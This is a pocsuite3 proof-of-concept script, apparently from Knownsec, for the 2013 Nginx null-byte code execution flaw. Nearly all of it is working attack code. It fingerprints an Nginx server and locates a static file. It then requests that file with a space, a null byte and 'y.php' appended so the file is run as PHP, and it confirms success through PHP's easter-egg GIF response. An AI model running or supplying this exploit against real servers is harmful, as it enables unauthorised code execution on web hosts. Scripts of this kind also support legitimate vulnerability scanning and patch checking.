Nginx Blank Null Byte 代码执行漏洞

""" If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit http://pocsuite.org """ import re from urllib.parse import urljoin, urlparse from pocsuite3.api import Output, POCBase, register_poc, requests class DemoPOC(POCBase): vulID = '1122' # ssvid version = '1' author = ['chenghs@knownsec.com'] vulDate = '2013-11-19' createDate = '2013-11-22' updateDate = '2013-11-22' references = ['http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html'] name = 'Nginx Blank Null Byte 代码执行漏洞 POC' appPowerLink = 'http://www.nginx.org' appName = 'Nginx' appVersion = '1.5.6#' vulType = 'Code Execution' desc = ''' Ngnix在遇到空格时，便跳过对\0字符的检测，从而绕过之前发现\0便抛出NGX_HTTP_PARSE_INVALID_REQUEST的错误，使得之前\0又重新起作用。 ''' samples = [] install_requires = [''] def _verify(self): result = {} r = requests.get( self.url + r'/the_file_that_should_never_exist_on_server.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42') if r.headers.get('Content-Type', '') == 'image/gif': return self.parse_output(result) req = requests.get(self.url) Server = req.headers.get('Server', None) if not Server: return self.parse_output(result) if Server.split('/')[0].lower() != "nginx": return self.parse_output(result) content = req.text re_result = re.findall(r'src="?(.*?\.(ico|jpg|gif|png|bmp|js))"?', content, re.I | re.M | re.DOTALL) if not re_result: re_result = re.findall(r'href="?(.*?\.(css|rar|zip|txt))"?', content, re.I | re.M | re.DOTALL) check_url = self.url + '/robots.txt' if re_result: if not re_result[0][0].startswith('http://'): check_url = urljoin(self.url, re_result[0][0]) else: if (urlparse(re_result[0][0]).netloc.split(':')[0] == urlparse(self.url).netloc.split(':')[0]): check_url = re_result[0][0] else: return self.parse_output(result) check_url = "%s %s%s" % (check_url, chr(0), 'y.php') response = requests.get(check_url) cur_url = response.url if response.headers.get('Content-Type', '') == 'text/html' and check_url == cur_url: check_url = "%s%s" % (check_url, r'?=PHPE9568F34-D428-11d2-A769-00AA001ACF42') response = requests.get(check_url) if response.headers.get('Content-Type', '') == 'image/gif': result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = check_url return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() register_poc(DemoPOC)